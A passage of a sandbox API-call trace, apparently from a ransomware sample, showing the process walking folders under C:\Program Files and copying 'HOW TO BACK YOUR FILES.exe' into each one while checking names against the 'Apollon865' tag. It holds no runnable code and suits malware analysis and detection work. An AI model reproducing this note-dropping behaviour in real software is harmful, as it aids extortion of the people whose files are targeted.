	[0074.493] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="redmenu.png" | out: lpString1="redmenu.png") returned="redmenu.png"
	[0074.493] lstrlenW (lpString="redmenu.png") returned 11
	[0074.493] lstrlenW (lpString="Apollon865") returned 10
	[0074.493] lstrcmpiW (lpString1="edmenu.png", lpString2="Apollon865") returned 1
	[0074.493] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Scene_loop.wmv" | out: lpString1="Scene_loop.wmv") returned="Scene_loop.wmv"
	[0074.493] lstrlenW (lpString="Scene_loop.wmv") returned 14
	[0074.493] lstrlenW (lpString="Apollon865") returned 10
	[0074.493] lstrcmpiW (lpString1="e_loop.wmv", lpString2="Apollon865") returned 1
	[0074.493] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Scene_loop_PAL.wmv" | out: lpString1="Scene_loop_PAL.wmv") returned="Scene_loop_PAL.wmv"
	[0074.493] lstrlenW (lpString="Scene_loop_PAL.wmv") returned 18
	[0074.493] lstrlenW (lpString="Apollon865") returned 10
	[0074.494] lstrcmpiW (lpString1="op_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.494] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="TitleButtonIcon.png" | out: lpString1="TitleButtonIcon.png") returned="TitleButtonIcon.png"
	[0074.494] lstrlenW (lpString="TitleButtonIcon.png") returned 19
	[0074.494] lstrlenW (lpString="Apollon865") returned 10
	[0074.494] lstrcmpiW (lpString1="onIcon.png", lpString2="Apollon865") returned 1
	[0074.494] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="TitleButtonSubpicture.png" | out: lpString1="TitleButtonSubpicture.png") returned="TitleButtonSubpicture.png"
	[0074.494] lstrlenW (lpString="TitleButtonSubpicture.png") returned 25
	[0074.494] lstrlenW (lpString="Apollon865") returned 10
	[0074.494] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.494] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge"
	[0074.494] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afdc8 | out: hHeap=0x580000) returned 1
	[0074.494] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0074.494] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge") returned 50
	[0074.494] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge"
	[0074.494] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.494] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.502] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x447a3990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x447a3990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.502] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.502] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.502] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories"
	[0074.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0074.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0074.502] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories") returned 52
	[0074.502] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories"
	[0074.502] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.502] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.508] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x447a3990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x447a3990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.508] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.508] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.509] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles"
	[0074.509] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0074.509] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0074.509] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles") returned 57
	[0074.509] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles"
	[0074.509] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.509] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.523] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x447c9af0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x447c9af0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.523] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.523] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.523] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle"
	[0074.524] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0074.524] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0074.524] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle") returned 52
	[0074.524] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle"
	[0074.524] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.524] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.529] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x447efc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x447efc50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.529] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.529] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.530] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full"
	[0074.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd58 | out: hHeap=0x580000) returned 1
	[0074.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0074.530] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full") returned 48
	[0074.530] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full"
	[0074.530] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.530] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.536] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x447efc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x447efc50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.536] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.536] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.536] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage"
	[0074.536] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0074.536] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0074.536] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage") returned 52
	[0074.536] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage"
	[0074.536] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.536] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.543] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x44815db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44815db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.543] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.543] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.544] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl"
	[0074.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0074.544] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0074.544] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned 52
	[0074.544] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl"
	[0074.544] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.544] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.549] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x44815db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44815db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.549] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.549] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.550] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy"
	[0074.550] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0074.550] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0074.550] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy") returned 51
	[0074.550] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy"
	[0074.550] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.550] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.556] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x44815db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44815db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.556] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.556] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.556] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\en-US") returned="C:\\Program Files\\DVD Maker\\en-US"
	[0074.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0074.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78e8 | out: hHeap=0x580000) returned 1
	[0074.556] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US") returned 32
	[0074.556] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\en-US" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US") returned="C:\\Program Files\\DVD Maker\\en-US"
	[0074.556] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.557] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.561] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4483bf10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4483bf10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.561] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.561] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.561] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files"
	[0074.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5ed8 | out: hHeap=0x580000) returned 1
	[0074.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78c8 | out: hHeap=0x580000) returned 1
	[0074.561] lstrlenW (lpString="C:\\Program Files\\Common Files") returned 29
	[0074.561] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files" | out: lpString1="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files"
	[0074.561] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.561] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.565] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4483bf10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4483bf10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.566] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.566] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.566] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\System", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\System") returned="C:\\Program Files\\Common Files\\System"
	[0074.566] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0074.566] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0074.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\System") returned 36
	[0074.566] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System" | out: lpString1="C:\\Program Files\\Common Files\\System") returned="C:\\Program Files\\Common Files\\System"
	[0074.566] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.566] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.572] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4483bf10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4483bf10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.572] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.572] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.572] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB") returned="C:\\Program Files\\Common Files\\System\\Ole DB"
